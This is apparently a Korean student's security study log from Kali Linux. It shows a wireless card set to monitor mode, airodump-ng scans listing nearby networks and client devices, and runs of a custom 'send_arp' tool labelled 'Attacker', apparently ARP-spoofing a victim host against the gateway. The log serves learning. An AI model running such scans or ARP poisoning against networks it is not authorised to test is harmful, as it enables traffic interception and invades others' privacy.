

8/31 공부내용_공재호

Asignee	
Joined	@Aug 31, 2020 11:45 AM
Location	공재호
Title	

1. Monitor mode

```
root@kali:/home/user1# ifconfig wlan0 down
root@kali:/home/user1# iwconfig wlan0 mode monitor
root@kali:/home/user1# ifconfig wlan0 up
root@kali:/home/user1# iwconfig
lo                no wireless extensions.

eth0              no wireless extensions.

wlan0             IEEE 802.11  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
                  Retry short long limit:2   RTS thr:off   Fragment thr:off
                  Power Management:off

root@kali:/home/user1#
```

- airodump-ng wlan0

```

user1@kali: ~
파일(F)  동작(A)  편집(E)  보기(V)  도움말(H)

CH 12 ][ Elapsed: 28 s ][ 2020-08-31 12:00

BSSID          PWR Beacons  #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
00:07:89:C5:F6:77 -39      2          0  0  6 360      CCMP PSK KT_GiGA_2G_Wave2_F674
00:07:89:D2:24:BF -62      2          0  0  6 360      CCMP PSK KT_GiGA_2G_Wave2_24BC
B4:A9:4F:4D:ED:1F -36      3          0  0  9 360      CCMP PSK KT_GiGA_2G_Wave2_ED1B
AC:84:C6:55:75:8A -46      2         11  0  2 405      WPA2 CCMP PSK TP-Link_758A
90:9F:33:88:6E:EA -51      2         27  0  4 135      WPA2 CCMP PSK iptime_JJJ
00:23:AA:DC:2E:7A -70      4          0  0  6 130      WPA2 CCMP PSK SK_WiFiGIGA2E78
12:23:AA:DC:2E:7A -70      3          0  0  6 130      WPA2 CCMP PSK <length: 7>
00:07:89:3E:ED:AB -82      3          0  0  4 130      WPA CCMP PSK KT_GiGA_2G_Euler_4F
88:36:6C:30:69:50 -86      3          0  0 13 130      OPN      iptime
28:6D:97:A8:3C:CC -85      2          0  0  1  65      WPA2 CCMP PSK [floor a/c] Samsung
88:3C:1C:CE:89:84 -82      2          0  0  7 360      CCMP PSK KT_GiGA_2G_Wave2_8980
54:D1:63:1B:B9:7C -77      2          0  0  1 270      WPA2 CCMP PSK <length: 10>
08:10:77:93:F4:D4 -67      3          0  0  1 270      WPA2 CCMP PSK netis

BSSID          STATION          PWR  Rate  Lost  Frames  Notes  Probes
(not associated) C0:97:27:80:FB:43 -75    0 - 1    0      2      rinrin
(not associated) 90:9F:33:E6:6E:6D -77    0 - 1    0      1      cho_ipitime
AC:84:C6:55:75:8A 94:8B:C1:20:94:40 -47    0 - 1e   0     12
90:9F:33:88:6E:EA 86:F0:52:39:B6:FD -69    0e- 1    0     28

```

- 이름 변경

```

root@kali:/home/user1# ifconfig wlan0 down
root@kali:/home/user1# ip link set wlan0 name mon0
root@kali:/home/user1# ifconfig mon0 up

```

- airodump-ng mon0 -c 1

```

user1@kali: ~
파일(F)  동작(A)  편집(E)  보기(V)  도움말(H)

CH 1 ][ Elapsed: 6 s ][ 2020-08-31 12:16

BSSID          PWR RXQ Beacons  #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
AC:84:C6:55:75:8A -48  0      2          0  0  2 405      WPA2 CCMP PSK TP-Link_758A
88:36:6C:CB:4D:9C -56 93      62          0  0  1 130      WPA2 CCMP PSK iptime
08:10:77:93:F4:D4 -67 50      30          0  0  1 270      WPA2 CCMP PSK netis
54:D1:63:1B:B9:7C -80 16      26          0  0  1 270      WPA2 CCMP PSK <length: 10>
54:D1:63:1B:B9:7B -79 29      41          0  0  1 270      WPA2 CCMP PSK t-broadB975
88:57:1D:0D:F8:61 -81  0        0          0  0  1  65      WPA2 CCMP PSK [floor a/c] Samsung
08:5D:DD:E7:E5:3C -82  0        2          0  0  1 130      WPA TKIP PSK <length: 17>
88:3C:1C:DA:AC:96 -83  0        4          9  1  1 360      WPA2 CCMP PSK U+NetAC97
08:5D:DD:E7:5C:3C -85 19      22          0  0  1 130      WPA TKIP PSK <length: 17>
08:5D:DD:E7:5C:3D -82 28      41          0  0  1 130      WPA2 CCMP PSK U+Net5C3F
B4:A9:4F:2D:5B:68 -87  0       32          0  0  1 360      CCMP PSK KT_GiGA_2G_Wave2_5B64
00:1F:1F:BE:48:C9 -86  9        6          0  0  1 130      WPA CCMP PSK <length: 0>
D0:76:E7:76:03:D4 -85  0        3          3  0  1 270      WPA2 CCMP PSK TP-LINK_03D4
B4:A9:4F:08:A4:76 -90 15      25          0  0  1 360      CCMP PSK 8st
B6:A9:4F:57:44:D8 -87  1        4          0  0  1 130      WPA2 CCMP PSK <length: 7>
08:5D:DD:78:EC:A7 -87 12        5          0  0  1 130      WPA2 CCMP PSK U+NetECA8
1C:5F:2B:FB:E3:24 -87  0        0          3  1  1 -1      WPA      <length: 0>
08:5D:DD:E7:E5:3D -86 13      15          0  0  1 130      OPN      skybien9010

BSSID          STATION          PWR  Rate  Lost  Frames  Notes  Probes
(not associated) C0:97:27:80:FB:43 -77    0 - 1    52      2      rinrin
(not associated) 9A:16:7A:EF:7A:A4 -87    0 - 1     0      1

```

2. ARP

The image displays a Wireshark packet capture window and a terminal window. The Wireshark window shows a list of packets with a filter set to `ip.src==172.30.1.36`. The selected packet is a DNS query from 172.30.1.36 to 168.126.63.1.

No.	Time	Source	Destination	Protocol	Length	Info
273	143.958122367	172.30.1.36	168.126.63.1	DNS	78	Standard query 0xa10d A daisy.ubuntu.com
274	143.958122525	172.30.1.36	168.126.63.2	DNS	78	Standard query 0xa10d A daisy.ubuntu.com
331	185.802830209	172.30.1.36	168.126.63.1	DNS	86	Standard query 0x6862 PTR 43.1.30.172.in-addr
332	185.802830295	172.30.1.36	168.126.63.2	DNS	86	Standard query 0x6862 PTR 43.1.30.172.in-addr

The packet details pane shows the structure of the DNS query, including the Internet Protocol Version 4, User Datagram Protocol, and Domain Name System (query) sections.

The terminal window shows the execution of a custom script `./send_arp` with the following output:

```

Attacker MAC : 08:00:27:e3:e4:f0
user1@kali:~/바탕 화면/Study2-send_arp$ sudo ./send_arp eth1 172.30.1.36 172.30.1.254
Attacker IP : : 172.30.1.43

Attacker MAC : 08:00:27:e3:e4:f0
user1@kali:~/바탕 화면/Study2-send_arp$ sudo ./send_arp eth1 172.30.1.36 172.30.1.254
Attacker IP : : 172.30.1.43

Attacker MAC : 08:00:27:e3:e4:f0
user1@kali:~/바탕 화면/Study2-send_arp$
  
```